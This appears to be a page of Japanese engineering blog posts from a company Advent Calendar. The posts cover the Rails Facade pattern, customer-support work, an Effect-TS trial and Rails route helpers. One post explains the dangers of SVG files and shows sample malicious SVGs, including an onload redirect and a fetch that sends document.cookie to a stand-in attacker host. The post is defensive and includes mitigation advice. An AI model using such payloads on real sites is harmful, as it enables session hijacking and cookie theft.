PHPerがRubyistになろうとしてつまづいたところ⑤Facade

こんにちは。WEBアプリケーションエンジニアの小松です。

私はこれまで主に EC サイトの開発に携わってきて、普段は PHP を中心に書いてきました。
本格的に Ruby on Rails に触れるようになったのは、エニグモに入社してからです。

Rails のコードベースに新しく入ると、「Rails ではこう書くのか」と驚く場面が多いのですが、その中でも特に戸惑ったのが Facade パターン でした。

Service、Presenter、FormObject あたりは PHP の現場でも馴染みがありましたが、
「Facade としてロジックをひとまとめにする構造」 は自分にとってほぼ未経験。

既存のプロジェクトに途中から入ったこともあり、理解するのに少し時間がかかりました。

この記事では、Rails の Facade を初めて触った PHPer が、現場で実際に困ったこと・気づいたこと」をあくまで主観ベースでまとめています。

既存の設計が悪いという話ではなく、“初めて触る立場だとこう見えた”という記録として読んでいただければ幸いです。

この記事は[Enigmo Advent Calendar 2025]の10日目の記事です。  


1. シンプルそうに見えて、実際に追うとブラックボックスに感じる

Facade は使う側からすると「呼べば結果が返ってくるシンプルな API」です。
しかし、初めて触った私は最初こう思いました。

ログを取りたいのに、どこで何が動いているのか分からない。

Facade の中で複数のサービスが呼ばれ、さらにその中で別の処理が走っている。
コントローラ側から見えるのは「Facadeを叩いている」という一点だけ。

@page = ArticleFacade.build_page(category, tag)

これだけでは、
・どこで URL が組み立てられているのか
・どのサービスが動いているのか
・パラメータがどの時点で変化しているのか

が最初は全然見えてこず、PHP で慣れていた書き方とのギャップもあって、理解するまでに時間がかかりました。

「ここでログ取りたいんだけど、どこに入れればいいんだ?」これを探すのが一番苦労しました。


2. URL の整形が Facade に隠れていて、修正しづらかった

実際に困った実例がこちら。

「URL の末尾にスラッシュが付いたり付かなかったりする問題」

例えばこんなメソッドがあります。

def path_to_index(category, tag)
  if category.nil?
    index_path(tag: tag)
  else
    category_index_path(category: category, tag: tag)
  end
end

これが最終的に /foo/bar?tag=10/ のように、
意図しないスラッシュが付いたり外れたりする。

修正しようにも、URL をどこで作っているのか最初は分からない。

  • コントローラ側ではなく、Facade の内部で生成している

  • ログを入れる場所が見つからない

  • 修正したらどこに影響するか読みにくい

PHP では URL ヘルパー周りは比較的素直に見えていたので、「Rails の Facade の奥でこうなっていたのか…」と理解するまでかなり時間を使いました。


3. 「内部構造を隠す」はメリットだが、初見だと手がかりが少なく感じる

Facade のメリットは確かにあります。

  • 複雑な処理を外部から隠せる

  • 呼び出し側から見ればAPIがシンプルになる

ただ、初めて触る立場からすると、「隠れている」=手がかりが減るという面が大きく感じられました。

  • 処理のどの段階で例外が起きているか分からない

  • 目的の値がどの時点でセットされているか追いにくい

  • 修正ポイントを見つけるまで時間がかかる

Rails の慣れた人にとっては自然なパターンでも、経験がないと入口までしか見えず、内部の把握に苦労します。


4. 結合度を下げる設計のはずが、実際には“依存が集中して見える”ことも

Facade の意図は「依存をまとめて隠す」だと思うのですが、初めて触った私には、

Facade に複数の処理が集まりすぎて、逆に依存が増えて見えるという場面がありました。

  • あちこちのモデルやサービスを呼んでいる

  • Facade を修正すると影響範囲が広そう

  • 結果として「巨大クラス」に見えてしまう

もちろん、初期開発から関わっている人には「ここに集約されているのが分かりやすい」という感覚があるのだと思います。

ただ、新規参入の PHP エンジニアとしては、この“まとまり方”に慣れるまで時間が必要でした。


5. 実際に Facade を触ってみて「こうしておけばよかった」と思ったこと

Rails の Facade を初めて触る立場として、以下のような工夫があれば理解しやすかったと感じます。

● URL 生成など、外に影響する処理は隠しすぎない方が助かる

どこで作られているか分かるだけで追う負担が大きく減りました。

● Facade の責務が簡単に読めるようにコメントやガイドがあると良い

「何をまとめたクラスか」だけ分かれば初動が速くなる。

● できれば役割ごとに小さく分割されている方が理解しやすい

巨大な Facade は新規参入者にとってハードルが高く感じられました。


6. PHPerとしてRailsのFacadeを使って良かったと思ったシーン

ただ、触り慣れてくると良さも感じます。

  • コントローラが驚くほどスリムになる

  • 「この機能を実装するにはここだけ読めば良い」という場所が決まる

  • ロジックを UI・ドメイン・データ層のどれにも寄せずに置ける

特に「ビジネスロジックをどこに置くか」という点で迷ったとき、Facade を入口にロジックをまとめていく設計は理解しやすく、Rails の“見通しをよくする文化”に触れるきっかけにもなりました。

PHP の頃にも似たようなパターンはありましたが、Rails ではそれがより自然にプロジェクトに溶け込んでいる印象です。


まとめ

今回の記事は、Rails の Facade をほぼ初めて触った PHPer が、既存プロジェクトに途中参加して学んだことをそのまま書いたものです。

  • ログの仕込み方に迷った

  • URL の組み立てが追いにくかった

  • 隠蔽が多く、最初はブラックボックスに見えた

  • 依存が集中しているように見える場面もあった

とはいえ、理解が進むにつれて、

  • コードの見通しがよくなる

  • 責務が整理される

  • ロジックをまとめる場所として便利

など、Rails ならではの良さも感じられました。

経験が浅いうちは苦労しますが、触っていくうちに「なぜこういう設計をしているのか」が少しずつ見えてきます。

明日 12/11 の記事は検索チームのエンジニアの記事です。

入社3年を迎えて、CS対応が私の成長に与えた影響について

こんにちは。サーバーサイドエンジニアの高橋です。

この記事はEnigmo Advent Calendar 2025の9日目の記事です。

中途入社してから3年が経ちました。この記事では、この3年間で携わってきた業務の中でも、特にCS(カスタマーサポート)対応が自分のスキル習得やプロダクト理解に大きく寄与した点についてまとめます。

■ 入社当初の状況

入社直後は、プロダクトの構造や各ドメインの役割、社内ツール群の使い方など、把握できていないことが多くありました。 コードを読み解くにも関連する背景知識が不足しており、調査の進め方についても試行錯誤の状態でした。 新しい環境に慣れるまでの間、どこに情報があるのか、何を手がかりに理解を進めれば良いのか、といった基本的な部分で躓くことも多かったように思います。

■ CS対応チームへの参加

入社から半年ほど経った頃、CS対応を行うチームに加わりました。 CS対応は、ユーザーから寄せられる問い合わせを起点として、状況の確認、原因調査、必要に応じた改善提案や不具合対応につなげる業務です。 多様な問い合わせ内容に触れるため、日々の調査の中で自然とプロダクト全体の構造や動作を理解する機会が増えました。結果として、入社初期に感じていた「何がどこで動いているのか分からない」という状態が徐々に解消されていきました。

■ CS対応を通じて得た知見

● 調査プロセスの定着

問い合わせ対応では、ログ確認、コード参照、仕様の再確認といった一連の調査フローを何度も繰り返すことになります。 この反復により、問題の切り分け方や仮説の立て方が体系化され、調査の進め方が安定してきました。

ドメイン横断の理解

CS対応の振り返りでは、他ドメインのメンバーが対応した内容も共有されます。 自分が担当していない領域の知識も蓄積され、プロダクトの理解が横方向に広がりました。 「どの領域でどのような問題が起きやすいか」という傾向も把握しやすくなりました。

● 過去事例を活かした調査効率の向上

似た内容の問い合わせが発生した際、以前調査した事例が役に立つ場面が増えました。 過去の調査内容やログのパターンが記憶として残っているため、問題特定までの時間が短縮されるようになりました。

● 社内ツールやログへの理解

CS対応では頻繁に社内の管理ツールや各種ログを参照します。 どのログがどの機能に紐づくか、どの画面にどのデータがあるかを把握することで、後続の開発業務でも調査の起点を見つけやすくなりました。

● 不具合の早期発見と改善

調査の過程で不具合に気づくこともあり、チケットを作成して改善につなげる経験も多くありました。 問い合わせ対応と開発業務が地続きであることを実感できた点は、自分にとって大きな学びでした。

心理的安全性のある学習環境

CS対応は調査中心であり、リリースに直接影響する場面が比較的少ないため、わからない点は周囲に相談しながら進められました。 こうした環境が、業務理解を段階的に深める助けになったと感じています。

■ 社内の取り組みとの関連

Tech Blogでも、問い合わせ対応に関連した運用改善やナレッジ蓄積の取り組みが紹介されています。

tech.enigmo.co.jp

上記では、問い合わせ対応の属人化を防ぐための調査手順や振り返りの仕組みが取り上げられており、自分がCS対応に携わる中で感じていた課題と重なる部分も多くありました。

■ 3年間を振り返って

CS対応に関わったことで、

  • 調査力

  • プロダクト全体の把握力

  • ログ・ツールの理解

  • ドメイン横断の視点

  • 不具合発見や改善の着眼点

といった基礎的な能力が身につきました。 これらは現在の開発業務を進める上でも、重要な土台になっています。

■ 今後の取り組み

今後は、CS対応で得た知見をチーム全体で活用できる形にまとめていければと考えています。

  • 調査手順のドキュメント整備

  • 問い合わせ傾向の定期的な分析

  • 改善につながるフィードバックループの強化

  • 開発とCSの情報共有の仕組みづくり

引き続き、プロダクト改善に貢献できるよう取り組んでいきたいと思います。

■ おわりに

入社3年を迎えるタイミングで、特に学びの多かったCS対応について整理しました。 これから入社する方や、プロダクト理解を深めたい方にとって、CS対応が一つの有効な手段になり得ると感じています。

明日の記事の担当は エンジニア の 小松 さんです。お楽しみに。

株式会社エニグモ すべての求人一覧

hrmos.co

フロントエンドエンジニアがEffect-TSの導入を検討してみた

こんにちは!フロントエンドエンジニアの張です!

この記事はEnigmo Advent Calendar 2025の8日目の記事です。

「型安全」、「堅牢性」、「開発体験」、どれもエンジニアでしたら、近年よく聞くキーワードだと思います。特にウェブ開発、フロントエンド開発界隈では、それらを改善するためにTypeScriptを導入・採用するチームが増える一方です。 でも、「それでは足りない、もっと堅牢的、かつ保守しやすいTypeScriptを書きたい!」だと主張するコミュニティが実は存在していて、彼らがたどり着いた解決策は今回私が導入を検討したEffect TSです。

私の調査を説明する前に、記事をわかりやすくするために、まずはいくつかのキーワードを定義したいと思います。

キーワード

型安全

プログラミング言語、あるいは一部の言語(TypeScriptなど)においては、ライブラリを形容する単語。型安全な言語・ライブラリはコンパイル時あるいはランタイム(実行時)に型の誤用を検知できて、開発者にそれを報告したり、プログラムを中止したりすることができます。 コンパイル時、ランタイム両方で型の誤用を徹底的に防ぐRustは代表格の一つです。 Rust ほどではありませんが、今回のテーマになるTypeScript も型安全な言語だと認識されています。

堅牢性

プログラムが想定した形式で様々なシナリオを対応する能力です。具体的に話しますと、可能なエラーを検知して、適切な処理を実行したり、無効なインプットに対して、正しい処理で対処したりすることも堅牢性の高いソフトウェアの指標となります。

開発体験

簡単に言いますと、開発の快適さという意味です。エディター(VS Codeなど)とLSP (Language Server Protocol) で実現されたオートコンプリートとかも開発体験を改善してます。ほかには、LLM によるコード予測なども開発体験を向上させていると思われています。

導入を検討した理由

キーワードを簡単に説明できましたので、今回導入を検討した理由を説明したいと思います。

実は所属しているチームが来年からコードベースをMeta社のFlow-Typed から TypeScript に移行する予定なので、私は理想的な TypeScript の書き方を模索中です。 その中、Effect TS という気になっていたライブラリを思い浮かんで、調査を始めました。

気になっていたところなんですが、まさに「型安全」と「堅牢性」の部分でした。

Effect Type

その名前の通り、Effect TSの骨幹となるのは、Effect というデータストラクチャーです。Effect TSにおいて、一切の処理の起点が Effectになっていて、なにかを実行するため、まずはその処理を説明するEffectを実装しないといけません。

そして、そのEffect ですが、従来の JavaScript のオブジェクトとも関数とも違って、処理の結果(success type)、エラー(error type)と依存関係(dependencies)を内包しています。わかりやすく説明しますと、Rustにある Result Type に似ています。

そのシグネチャが以下になります

Effect<Success, Error, Requirements>

Error Type

依存関係については話を更に複雑にしますので、今回は割愛させていただきますが、エラー はプログラムの「型安全」と「堅牢性」を大幅に改善することができます。

理由としては、TypeScript を含むおおよそのプログラミング言語はエラーを型の一部として認識していませんので、型で完全に処理が正しく実行されることを保証できません。

たたえば、以下はtsc (TypeScript Compiler) から何の警告もないんですが、 fallibleFn が失敗して、console.log まで実行されない可能性がありますが、Effect TSRust などエラーを型として扱うタイプシステムではそういうことが殆ど発生しません。

const fn = () => {
  const result = fallibleFn();

  console.log(`The result is: ${result}`);
};

const fallibleFn = () => {
  if (Math.random() > 0.5) {
    return "hello world";
  } else {
    throw new Error("oops");
  }
};

Effect TSでの実装では、tscの型評価で関数が失敗することがあることがわかります

const fnEffect = Effect.gen(function* () {
  const result = yield* fallibleEffect;

  yield* Console.log(`The result is ${result}`);
});

const fallibleEffect = Effect.try(() => {
  if (Math.random() > 0.5) {
    return "hello world";
  } else {
    throw new Error("oops");
  }
});

error typeが UnknownExceptionになっています

堅牢性に関してですが、上述のように、エラーを持っているEffect を実行したら、返り値になる Effect も必ず エラーを持つことになります、それを完全になくすためにはそれを処理することは必要です。そして、処理する時、Effect TSは開発者が可能なエラーを全部対処することを要求します。

以下のスニペットinterestingFallibleEffect というエラーを持つ Effect をエラーなしの Effect にする処理です。可能なエラーを全部対応しないと、型からエラーが消えません。

class InterestingError extends Data.TaggedError("InterestingError")<{
  readonly message: string;
}> {}

class MoreInterestingError extends Data.TaggedError("MoreInterestingError")<{
  readonly message: string;
}> {}

const interestingFallibleEffect = Effect.gen(function*() {
  const random = Math.random();
  if (random > 0.5) {
    return "hello world";
  }

  if (random > 0.25) {
    return yield* Effect.fail(new InterestingError({ message: "interesting error" }));
  }

  return yield* Effect.fail(new MoreInterestingError({ message: "more interesting error" }));
});

const errorFreeInterestingFallibleEffect = interestingFallibleEffect.pipe(
  Effect.catchTags({
    InterestingError: () => Effect.succeed("failed interestingly"),
    MoreInterestingError: () => Effect.succeed("failed even more interestingly"),
  }),
);

エラーがなし(never)になっています

実装の詳細を色々端折って説明してしまいましたが、Effect TSが Error Type を通して「型安全」と「堅牢性」を改善できることがある程度伝えられたと思います。

結論として、私もできればソフトウェアを堅牢に作りたい方なので、今回の調査を決意しました。

既存コードをEffect TSで実装してみました

それでは本題に入ります!このたび、実際の業務にEffect TSを導入するか、検討するために、Buyma のフロントエンドのコードから適切な処理を選んで、Effect TSで実装してみました。

Effect TSの長所を活用するために、以下の基準で処理を選びました。

  • エラーが発生する可能性ある処理
  • リトライが必要な処理
  • お互いに依存性がある処理からできた処理

結果的に、こういう処理をEffect TSで実装してみました:

メッセージをサーバーに送る処理:

  1. メッセージを送る前に、サーバーにメッセージの内容を送って、バリデーションを実行してもらいます。失敗の場合、400系のstatus codeが返ります。認証エラーの場合だけ、トークン更新を実行して、リトライします。最終的に失敗していましたら、全体の処理が中止になります。
  2. メッセージの本文を送ります、3回までリトライが可能で、認証エラーの場合、リトライの前に、トークン更新を行いますが、更新が失敗した場合、リトライが中止になります。最終的に失敗した場合、全体の処理が中止になります。
  3. 2つ目の本文を送ります、3回までリトライが可能で、認証エラーの場合、リトライの前に、トークン更新を行いますが、更新が失敗した場合、リトライが中止になります。最終的に失敗した場合、全体の処理が中止になります。

Effect TS の書き方を体験するための実装なので、実装の内容は簡略化されています。フロントエンドの実装も含まれていますと、更に分かりにくくなるため、今回はHTTPリクエストの処理だけを実装しました。

APIを呼ぶ

まずは、HTTPリクエストを処理するEffectを作成しました。

const callAPI = (url: string) =>
  Effect.gen(function*() {
    const client = yield* makeAuthenticatedClient;

    const response = yield* client.get(url).pipe(
      Effect.catchAll((error) => {
        if (HttpClientError.isHttpClientError(error) && "response" in error) {
          const status = error.response.status;
          return Console.log(`API Error [${status}] at ${url}`).pipe(
            Effect.andThen(
              Effect.fail(
                new APIError({
                  message: `HTTP ${status} error at ${url}`,
                  status,
                }),
              ),
            ),
          );
        }

        return Console.log(`Network error at ${url}`).pipe(
          Effect.andThen(
            Effect.fail(
              new APIError({
                message: `Network error at ${url}`,
                status: 0,
              }),
            ),
          ),
        );
      }),
    );

    const json = yield* response.json.pipe(
      Effect.catchAll((_error) => {
        return Console.log(`JSON parse error at ${url}`).pipe(
          Effect.andThen(
            Effect.fail(
              new APIError({
                message: `Failed to parse JSON response at ${url}`,
                status: response.status,
              }),
            ),
          ),
        );
      }),
    );

    yield* Console.log(`Response from ${url}: ${json}`);

    return json;
  });

HTTP fetchのリクエストを発火して、エラーを APIError に統一して、成功する場合、結果を出力Effect です。

makeAuthenticatedClient というEffectからHTTP Clientを取得していますが、依存関係の話になりますので、詳細は割愛させていただきます。簡単に言いますと、Effect TSは依存性注入 を推奨していて、HTTP Clientなどの共通関数は依存性としてEffectに提供することが多く、今回私もそう実装しています。そして、fetch のエフェクト化のコストを省くために、@effect/platform パッケージの HttpClientを使用しております。

トークンを更新する

以上の実装でHTTPリクエストを発火することができるようになりましたので、次はトークンを更新する処理を実装しました。あくまで書き方を検証するための実装なので、簡略化された実装となります。

const renewToken = Effect.gen(function*() {
  yield* Console.log("Renewing token...");
  const client = yield* HttpClient.HttpClient;
  const { token } = yield* AuthToken;
  const response = yield* client.post(RENEW_URL);
  const json = yield* response.json;

  const newToken = (json as { token: string; }).token;

  yield* Ref.set(token, newToken);
  yield* Console.log("token renewed");
}).pipe(
  Effect.catchAll(() =>
    Effect.fail(
      new APIError({
        message: "Token renewal failed",
        status: 0,
      }),
    )
  ),
);

こちらはHttpClient以外に、AuthToken というサービスからEffect間に共有されているトークン(token) への参照(Ref) を取得していて、それ経由で共有の変数を更新しています。その変数は上述の makeAuthenticatedClient にも使われていますため、更新されたら、HTTP Clientが使うトークンが更新されたものになります。

リトライ、リカバリー機能を追加

基本の処理が揃いましたので、次はEffectをリトライするEffectに変えるEffectを実装します。

const retryWithRecovery = <A, E, R, RA, RE, RR>(
  effect: Effect.Effect<A, E, R>,
  recoveryAction: Effect.Effect<RA, RE, RR>,
  recoveryPredicate: (error: E) => boolean,
  retryPredicate: (error: E) => boolean,
  maxRetries: number,
): Effect.Effect<A, E | RE, R | RR> => {
  const attempt = (retriesLeft: number): Effect.Effect<A, E | RE, R | RR> =>
    effect.pipe(
      Effect.catchAll((e) => {
        if (retriesLeft > 0 && retryPredicate(e) && recoveryPredicate(e)) {
          return recoveryAction.pipe(Effect.andThen(attempt(retriesLeft - 1)));
        }
        if (retriesLeft > 0 && retryPredicate(e)) {
          return attempt(maxRetries - 1);
        }
        return Effect.fail(e);
      }),
    );
  return attempt(maxRetries);
};

ジェネリクス(generics) のせいで少し複雑に見えるかもしれませんが、よく見ますと結構簡単な処理です。

引数を説明しますと、

  • effect: メイン処理のeffect、成功時は A型の値を返して、失敗時はE型の値を返します。依存関係はR型です。
  • recoveryAction: 失敗したら、次のメイン処理を実行する前に実行されるeffect、次のメイン処理が失敗しないようにプログラムのステートをリカバーする処理です。成功時は RA型の値を返して、失敗時はRE型の値を返します。依存関係はRR型です。
  • recoveryPredicate: リカバリーを実行するか、判断する関数。trueが返されたら、リカバリーが実行されます。
  • retryPredicate: リトライを実行するか、判断する関数。trueが返されたら、リトライが実行されます。
  • maxRetries: 最大リトライ数。0になったら、recoveryPredicateretryPredicate の結果関係なしで、リトライが完了します。

引数の意味がわかりましたら、処理わかりやすくなるかと思います。つまり、この処理は、メイン処理にリトライする機能を追加しています。その上に、リトライの基準、トークン更新などのリカバリー処理、リカバリー処理を実行する基準を指定させることで、もっと柔軟なリトライ処理を作成することを可能にしています。単純にEffect をリトライしたいであれば、Effect.retry というヘルパーを使ったらいいですが、今回参考になった既存実装は実際リカバリーを考慮した実装なので、このように実装しました。

以上の処理は決して複雑な処理ではなくて、Effect TSなしでも実装できると思うかもしれませんが、Effect TSのおかげで、このEffectから生成された Effect は最終的に発生する可能性があるエラーと、必要な依存関係を全部型情報として保存しています。その凄さは最終の仕上げを見たら、お分かりになるかと思います。

仕上げ

以上実装したものを組み合わせて、仕上げたものが以下となります。

// バリデーション
const callAPI1 = retryWithRecovery(
  callAPI(API_1),
  renewToken,
  (e) => e.status === 401,
  (e) => e.status === 401,
  3,
);

// 本文1
const callAPI2 = retryWithRecovery(
  callAPI(API_2),
  renewToken,
  (e) => e.status === 401,
  () => true,
  3,
);

// 本文2
const callAPI3 = retryWithRecovery(
  callAPI(API_3),
  renewToken,
  (e) => e.status === 401,
  () => true,
  3,
);

// 順番で処理を呼ぶ
const callAPIs = callAPI1.pipe(Effect.andThen(callAPI2), Effect.andThen(callAPI3));

// 依存性注入
const mergedLayer = Layer.merge(FetchHttpClient.layer, AuthTokenLive);

const program = callAPIs.pipe(
  Effect.provide(mergedLayer),
  Effect.catchAll((error) => Console.log(`Main operation failed: ${error.message}`)),
);

Effect.runPromise(program);

前準備はまあまあ複雑でしたが、関数型のライブラリのため、基本の部品を準備できたら、最終の組み合わせは結構楽です。関数型にまだ慣れていない方にも読みにくい部分があるかと思いますが、ある程度触れてましたら、読みやすく感じるかと思います。(私も関数式初心者ですが、すこし慣れてきています)

あと、前述した通り、最後に実行されるほうのeffect の型情報をお見せしたいと思います。

エラー処理、依存性注入前のeffect (最終effect直前)

前に説明した通りに、3つの処理で発生する可能性があるエラーと必要な依存関係を示しています。(今回はAPIErrorしか作成してなくて、それ一つになってますが)

最終的に実行されるeffect

エラーを処理することで、Error Type を なし(never) に変えて、依存性を提供することで、Dependencies を なし(never) にしています

以上で、簡略化とはいえ、業務上に実際にあるちょっと複雑な処理をEffect TSで実装してみました。思ったより長くなりましたが、ここまでご覧になってくださって、ありがとうございます!

検討結果

実装の説明が長くなりましたが、導入の検討でしたので、検討の結果もちゃんと説明していきたいと思います。

メリット

  • 型の安全性が非常に高い、エラーも型情報に入っていますので、常に扱っている変数の型がわかります。TypeScript もその情報でより的確なタイプチェックができます。
  • 開発者の書き方にもよりますが、堅牢性が非常に高くて、開発段階で可能なシナリオをだいたい型情報から認知できます。
  • 制御フローの可視化。従来の catchthrowパターンではなく、エラーを値として扱うことで、処理がすごく離れているcatch block に飛ばされることを防いています。個人個人の好みにもよりますが、私はこちらのほうがやりやすいと思います。

デメリット

  • 習得するのがすごく難しいです。関数式の特性が非常に強くて、ある程度関数式の経験がないと理解しにくいかと思います。その上に、依存性注入も結構組み込まれていますため、それに関しても、一定の知識が必要となります、プラグラミング初心者には向いていないかと思います。
  • アプリ全体がEffect TSで実装されていないとあまり意味がありません。当然のことなんですが、Effect TSが型の安全を保証しているのは Effect の中だけなので、Effect TS以外の処理が混ざっていますと、型安全が完全ではなくなります。
  • コードを堅牢的に書かせるフレームワークなので、コードの堅牢性は高まりますが、開発のコストも比較的に高いかと思います。

結論

結論からいいますと、今のところ、Effect TSの導入はしないかと思います。個人的にはEffect TSのメンタルモデル、型の安全性などが非常に好んでいますが、上述の通りに、チームに導入するにはコストが大きすぎますため、難しいかと思います。チームメンバーが全員興味を持っていて、習得してくれることになっていても既存のアプリにそれを追加するのはコストが高くて、メリットが少ないです。なので、新規のコードベースがあって、チームメンバーがみんなEffect TSで開発したいと思わない限り、Effect TSの導入は難しいかと思います。

とはいえ、私はこの調査を通じて、Effect TSに更に興味を持つようになりましたので、個人開発、小規模の開発などに使っていきたいと考えております。皆さんもこの記事を読んで、興味を持つようになったら、ぜひEffect TSを使ってみてください!

おわりに

10日の記事の担当は エンジニア の小松さんです。お楽しみに。

おまけ

この記事に記載されているコードは私のGitHubにも上げていますので、興味がある方はぜひご覧になってください!

Effect Sample Codeはこちら

SVGファイルは本当に安全なのか?SVGの中にある危険な仕組みと対策

こんにちは!Webアプリケーションエンジニアのレミーです!

この記事はEnigmo Advent Calendar 2025の7日目の記事です。

最近「Operation Hanoi Thief」という事件を読みました。 これは、ベトナムのITエンジニアや採用担当者を狙ったサイバー攻撃についての内容で、怪しいファイルを送りつけて情報を盗む手口が紹介されていました。 その中で、一見ただの画像に見えるファイルでも、実は中に攻撃的なコードが入っている恐れがある、という点が気になったので、SVGの中にある危険な仕組みを紹介します。

多くの人にとって、SVGファイルは「軽くて、拡大しても劣化しない便利な画像ファイル」という印象だと思います。 ロゴ、アイコン、バナーなど、Webでは定番の形式ですよね。

でも、実はSVGは「ただの画像」ではありません。

SVGはテキストベース(XML形式)のファイルであり、その中にコードを埋め込むことができます。 この性質のせいで、本来は「画像ファイル」であるはずのファイルが、攻撃者が悪い目的として利用される恐れがあります。

SVGとは?PNG/JPGとの違い

JPG、PNG、WEBP といった形式はバイナリデータの画像です。中にはロジックやスクリプトが入っていることはありません。

一方で SVG(Scalable Vector Graphics)はまったく別物です。 SVGXMLで書かれたテキストファイル なので、.svg をメモ帳や VS Code で開くと、中身をそのままテキストとして読むことができます。

例:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <rect x="10" y="10" width="180" height="180" fill="blue"/>
</svg>

SVGファイルの中に埋め込む危険なもの

SVGの中には、見た目は「画像ファイル」なのに、実際にはかなり危険なコードを埋め込むことができます。

1. SVG内部の JavaScript

SVG には、普通の HTML と同じように <script> タグを埋め込むことができます。

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    alert('こんにちは!');
  </script>
</svg>

ブラウザの設定や表示方法によっては、このスクリプトが実行されます。

本番なら、攻撃者は alert(...) の代わりに、例えばこんなことができます。

  • ユーザーの情報を自分のサーバーへ送信する
  • 悪意のあるサイトへ自動リダイレクトする
  • SVGをアップロードできるWebサイトでXSS攻撃を行う

2. onload / onclick などのイベント属性

<script> タグがなくても、イベント属性だけで十分に危険です。例えば次のようなSVGです。

<svg xmlns="http://www.w3.org/2000/svg"
     onload="window.location.href='https://example-danger-site.com'">
</svg>

このSVGをブラウザで開いただけで、ユーザーは自動的に悪意のサイトにリダイレクトされてしまいます。 そこがフィッシングサイトやマルウェア配布サイトなら危険になります。

3. SVGアップロードを悪用した XSS 攻撃

ユーザーがSVGをアップロードできるサイト(アイコン、アバター、イラストなど)で、サニタイズせずにそのまま表示していると、攻撃者にとっては、<script>onload を含んだSVGをアップロードし、そのスクリプトはそのサイトのコンテキストで実行されます。

その結果、例えばこんなことが可能になります。

  • document.cookie を盗んでセッションを乗っ取る
  • 管理者アカウントで操作する

例えば危険なSVGファイル:

<svg xmlns="http://www.w3.org/2000/svg"
     onload="fetch('https://example-bad-site.com/log?c='+document.cookie)">
  <text x="10" y="20">Hello world!</text>
</svg>

これが <img> ではなく、HTML内に inlineで <svg>...</svg> として埋め込まれ、ブラウザがブロックしない場合は、document.cookie がそのまま攻撃者のサーバーに送信されてしまいます。

どんなSVGなら安全なのか?

例えば次のような、テキストだけで構成されているSVGは安全です。

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <circle cx="100" cy="100" r="80" fill="green" />
  <text x="60" y="105" font-size="20" fill="white">安全なSVG</text>
</svg>

どうしてかというと、以下のような要素や属性が含まれていないのです。

  • <script>タグ
  • onload, onclick, onmouseover, onerror などのイベント属性
  • 外部URLやリクエストを飛ばしているコード

SVGから身を守るためのポイント

一般ユーザー向けの注意点

知らない人から送られてきた SVG ファイルを、すぐにブラウザで開かない。どうしても中身を確認したい場合は、まずテキストエディタVS Code, Notepadなど)で開いてみて、以下のようなものがないか確認する。

  • <script>タグ
  • onload, onclick, onmouseover, onerror などのイベント属性
  • 外部URLやリクエストを飛ばしているコード

Web開発者向けの対策

  • ユーザーによるアップロードされるSVGを、サニタイズする処理を行う
    • <script> タグを削除する
    • onload, onclick, onerror, onmouseover などのイベント属性を削除する
    • 外部URLやリクエストを飛ばしているコードを削除する
  • 信頼できないSVGを inlineで <svg>...</svg> としてレンダリングしない。ユーザー由来のSVGはできるだけ <img src="/path/to/file.svg"> で外部ファイルとして扱うべき
  • 適切な Content-TypeContent-Security-Policy ヘッダを設定し、スクリプト実行を抑制する

まとめ:SVGは便利だけど「画像だから安全」とは限らない

SVG自体はとても便利なフォーマットです。SVG自体は危険ではありませんが、攻撃者の手に入ると危険なものになる恐れがあるため、使用中に注意する必要があります。

明日の記事の担当はフロントエンドエンジニアの張さんです。お楽しみに。

PHPerがRubyistになろうとしてつまづいたところ④ルートヘルパー

こんにちは!WEBアプリケーションエンジニアの小松です!

今まで主にECサイトのWEBエンジニアをやっていて、本格的にRuby On Railsの開発をするのはエニグモに入社してからです。

この記事は[Enigmo Advent Calendar 2025]の6日目の記事です。  

はじめに:なぜ今、ルートヘルパーを振り返るのか

Railsの開発において、articles_pathnew_admin_order_path といった「ルートヘルパー」は当たり前のように使われています。しかし、後からプロジェクトに参画したエンジニアや、Railsに慣れていない初学者にとって、これらは時に「読みにくい呪文」に見えることがあります。

私自身、規模の大きなプロジェクトに関わった際、大量に定義されたルート設定と、そこから生成される長いヘルパーメソッドを見て、「これ、結局どこのURLに飛ぶんだ?」と読み解くのに時間を取られた経験があります。小規模なアプリなら推測できても、複雑な namespacescope が絡むと一気に難易度が上がります。

熟練のRailsエンジニアにとっては「常識」で片付けられがちな部分ですが、「実はここでハマる人は多いのではないか?」「かつての自分のような人のための地図が必要だ」と考え、この記事にまとめることにしました。

今回は、単なる仕様解説だけでなく、なぜこれを使うのかという背景も含めて、Railsのルートヘルパーを徹底解説します。


ルートヘルパーとは?(なぜ必要なのか)

Railsのルートヘルパーは、config/routes.rb の設定に基づいて自動生成されるURL生成メソッドです。

ハードコード vs ヘルパー

初心者のうちは「直接 /articles/1 って書いたほうが直感的で早くない?」と思うかもしれません。しかし、プロジェクトが大きくなると、その考えは「保守の悪夢」に変わります。

  • 直書き(ハードコード): /articles/1
  • ヘルパー: article_path(1)

もし将来、URL設計が変わり /posts/1 に変更したくなった場合、直書きだと全てのファイルを検索して置換する必要があります。一方、ルートヘルパーを使っていれば、routes.rb を一行書き換えるだけで、アプリ内の全リンクが自動的に新しいURLに対応します。

「可読性の一時的な低下」というコストを払ってでも、「将来の変更に強い(メンテナンス性)」というメリットを取る。 それがルートヘルパーを採用する理由です。


基本的な仕様と使い分け

それでは、具体的な「解読方法」を見ていきましょう。

1. 基本形:resources から生成されるもの

最も基本となる形です。

Rails.application.routes.draw do
  resources :articles, only: [:index, :show]
end

この設定により、以下のメソッドが使えるようになります。

生成されるヘルパー 実際のURL 役割
articles_path /articles 一覧ページなど
article_path(id) /articles/:id 詳細ページなど

ここまでは推測しやすい範囲です。

2. _path と _url の違い

ここも初心者が迷うポイントです。「どっちを使えばいいの?」という疑問に対する答えはシンプルです。

  • _path ヘルパー (例:articles_path
    • 出力: /articles相対パス
    • 用途: サイト内のリンク(link_to など)
    • 理由: ドメインが変わっても影響を受けないため、基本はこちらを使います。
  • _url ヘルパー (例:articles_url
    • 出力: https://example.com/articles絶対パス
    • 用途: リダイレクト、外部へのリンク、メール本文
    • 理由: メールの中に相対パス/articles)を書いてもリンクとして機能しないため、ドメイン付きのフルパスが必要です。

複雑なルートの解読(ここがつまずきポイント)

規模が大きいプロジェクトで可読性が下がる原因は、主に namespacescope の存在です。ここを整理して理解しておくと、コードを読むスピードが格段に上がります。

ケース1:namespace (管理画面などでよく見る)

Rails.application.routes.draw do
  namespace :admin do
    resources :orders
  end
end

namespace は「ディレクトリ構成(コントローラー)」と「URL」の両方を分けたい時に使います。

